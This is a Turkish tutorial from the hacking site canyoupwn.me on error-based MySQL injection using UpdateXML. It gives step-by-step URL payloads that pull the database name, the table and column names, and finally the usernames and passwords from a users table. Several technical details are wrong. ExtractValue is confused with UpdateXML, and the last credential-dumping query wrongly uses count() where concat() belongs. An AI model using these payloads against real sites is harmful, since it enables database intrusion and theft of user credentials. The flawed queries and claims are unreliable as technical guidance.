Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | UpdateXML ile Error Based SQL Injection

Bugün farklı bir şekilde MySQL Injection yapma yöntemini göstermek istiyorum sizlere.

MySQL’de bulunan “ExtractValue” fonksiyonu, XML verilerini temsil eden bir dizine karşı Xpath sorguları çalıştırmaya yarar. Fonksiyon aşağıdaki gibi girdiler içerir/alır:

UPDATEXML(XMLType_Instance, XPath_string,value_expression, namespace_string)

Eğer yukarıdaki hata, söz dizimi olarak yanlış ise, bize aşağıdaki gibi bir başka hata mesajı verecektir:

XPATH syntax error: ‘burada xpath sorgusu yer alır

Diğer hata tabanlı ( error based )injectionlar gibi kullanacağız bunu da arkadaşlar ancak bazen Extractvalue filtrelenmiş olabilir yada serverde hiç bulunmayabilir o zaman ise konuda anlattığımız updateXML injection yöntemini uygulamamız gerekecek. Eğer, klasik union tabanlı sorguları kullanıp herhangi bir çıktı alamazsak Error tabanlı injection denememiz gerekecek.

Aşağıda kullandığımız sorgu örneğinde, çıkış yok:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" union select 1,2,3,4,5--

Yukarıdaki örnekte çift tırnağı(“) görüyoruz. Bunun anlamı, “string” tipi bir injection yaptığımızdır.

 

Şimdi kolayca sorgularımızı gönderebiliriz arkadaşlar.

Sorgu:

select path from pages where oynatugurcum="<girdimiz_buraya_gelecek>" limit 1,1;

 

Şimdi de, XPATH updateXML kullanarak sql inj işlemimize devam edelim. Yani yeni sorgumuz şu şekilde olacak:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(<b>sorgumuz_buraya_gelecek</b>)),null)--

 

Şimdi bu injection türünü kullanarak veritabanı adını çekelim.

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(0x0a,(select database()))),null)--

 

Çıktı:

XPATH syntax error: ‘:burada_database_ismi_olacak’

 

Evet, database ismini çektik. Şimdi diğer sorgularımıza devam edelim..

Şimdi bu database içindeki tabloları çekmeye çalışalım.

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:tablo_ismi_burada_olacak’

Yukarıda gördüğünüz gibi “limit”ide kullandık. Bunun sebebi de 32 karakterden yukarsını ekrana vurdurmuyor olması.

Şimdi, yukarıdaki sorguyu kullanıp tablolari ekrana vurdurduğumuzu varsayalım. Tablo isimleride aşagidaki gibi olsun:

-CYPMGonderiler

-CYPMBanner

-CYPMLinkler

-CYPMAsset

-CYPMUsers

-CYPMCaner

 

Şimdi de herhangi birinden kolonları çekmeyi deneyelim sorgumuzla. En mantıklı gelen şüphesiz ki orada CYPMUsers olacaktır. Onu deneyelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=’CYPMUsers’ limit 0,1)),null)--

 

Çıktı:

XPATH syntax error: ‘:kolon_adlari_burada_olacak’

Aşağıdaki 3 kolonun yansıdığını varsayalım şimdi de:

-id

-username

-password

Şimdi bunlardan veri çekmeyi sağlayan sorgudan once arkadaslar, kolon sayılarını saymak icin kullandığımız sorguyu göstereceğim. Bunun sebebi de mesela istediğiniz sadece 1 üyenin parola vs bilgileri..

 

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username) from CYPMUsers)),null)--

Yukarıdaki komutu verdiğiniz de tüm kullanıcıları listeleyecektir sitedeki.

 

Şimdi de, CYPMUsers daki verileri çekelim..

Sorgu:

www.canyoupwn.me.com/index.php?oynatugurcum=-1337" and updatexml(null,concat(0x3a,(select count(username,0x3a,password) from CYPMUsers limit 0,1)),null)--

Yukarıdaki sorguyu gönderdiğimizde, CYPMUsers’daki tüm kullanıcı ve parola bilgilerini çekmiş olacağız.

About CanYouPwnMe

Hero!

Follow Me